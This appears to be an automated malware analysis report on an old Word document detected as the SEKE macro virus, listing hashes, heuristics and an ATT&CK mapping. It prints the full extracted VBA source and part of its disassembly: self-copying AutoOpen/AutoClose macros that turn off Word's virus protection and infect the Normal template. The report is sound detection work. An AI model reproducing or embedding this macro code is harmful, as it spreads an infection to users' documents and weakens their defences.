Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1b5dcaf887adbd56…

MALICIOUS

Office (OLE)

47.5 KB Created: 2000-04-05 23:10:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 7bbac8135e24b9f04832c66045c22dc1 SHA-1: 61086595c1926453cca67b5add9d096457d86699 SHA-256: 1b5dcaf887adbd565e5ef4118d391a521125122e7aca4eaf4446c37f5a07578a
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Word document containing VBA macros, specifically triggering AutoOpen and AutoClose events. The macros attempt to copy themselves to the current document or the Normal template, indicated by the `WordBasic.MacroCopy` calls. The `AutoClose` subroutine contains strings like 'SEKE - Chiclayo' and 'SEKE - Chiclayo...', suggesting a custom identifier for this malware.

Heuristics 5

  • ClamAV: Doc.Trojan.Seke-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Seke-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5917 bytes
SHA-256: 9896f5fff23a9c60537729e5dfa5a5e65eb6e41298cc2921133d046f7082e026
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "SEKE"
Sub AutoClose()
    On Error GoTo salir
    Application.UserAddress = "SEKE - Chiclayo"
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    Options.ConfirmConversions = False
    WordBasic.DisableAutoMacros 0
    If DocuSEKE = 0 Then
        WordBasic.MacroCopy "Global:SEKE", WordBasic.[FileName$]() + ":SEKE"
        ActiveDocument.VBProject.VBComponents.Item(DocuSEKE).CodeModule.ReplaceLine 1, "Sub AutoOpen()"
        If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
    ElseIf NormalSEKE = 0 Then
        WordBasic.MacroCopy WordBasic.[FileName$]() + ":SEKE", "Global:SEKE"
        NormalTemplate.VBProject.VBComponents.Item(NormalSEKE).CodeModule.ReplaceLine 1, "Sub AutoClose()"
        NormalTemplate.Save
    End If
    If (Day(Now) = 31 And Month(Now) = 12) Or Year(Now) >= 2000 Then
        MsgBox "Te deseo Feliz Año Nuevo " & Application.UserName & " (Año 2000) Nuevo Milenio.", vbExclamation, "SEKE - Chiclayo..."
    End If
salir:
End Sub
Private Function DocuSEKE()
    DocuSEKE = 0
    With ActiveDocument.VBProject.VBComponents
        For i = 2 To .Count
            xx = .Item(i).Name
            If xx = "SEKE" Then
                DocuSEKE = i
                Exit For
            End If
        Next i
    End With
End Function
Private Function NormalSEKE()
    NormalSEKE = 0
    With NormalTemplate.VBProject.VBComponents
        For i = 2 To .Count
            xx = .Item(i).Name
            If xx = "SEKE" Then
                NormalSEKE = i
                Exit For
            End If
        Next i
    End With
End Function


' Processing file: /opt/analyzer/scan_staging/dd7cd15cc9e04e0aa5a3608564bf6f83.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1182 bytes
' Macros/VBA/SEKE - 8426 bytes
' Line #0:
' 	FuncDefn (Sub AutoClose())
' Line #1:
' 	OnError salir 
' Line #2:
' 	LitStr 0x000F "SEKE - Chiclayo"
' 	Ld Application 
' 	MemSt UserAddress 
' Line #3:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #4:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #5:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #6:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #7:
' 	Ld DocuSEKE 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #8:
' 	LitStr 0x000B "Global:SEKE"
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0005 ":SEKE"
' 	Add 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #9:
' 	LitDI2 0x0001 
' 	LitStr 0x000E "Sub AutoOpen()"
' 	Ld DocuSEKE 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemCall ReplaceLine 0x0002 
' Line #10:
' 	Ld ActiveDocument 
' 	MemLd New 
' 	LitDI2 0x0008 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0008 "Document"
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed FileName 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' 	EndIf 
' Line #11:
' 	Ld NormalSEKE 
' 	LitDI2 0x0000 
' 	Eq 
' 	ElseIfBlock 
' Line #12:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0005 ":SEKE"
' 	Add 
' 	LitStr 0x000B "Global:SEKE"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #13:
' 	LitDI2 0x0001 
' 	LitStr 0x000F "Sub AutoClose()"
' 	Ld NormalSEKE 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemCall ReplaceLine 0x0002 
' Line #14:
' 	Ld NormalTemplate 
' 	ArgsMemCall Save 0x0000 
' Line #15:
' 	EndIfBlock 
' Line #16:
' 	Ld Now 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x001F 
' 	Eq 
' 	Ld
... (truncated)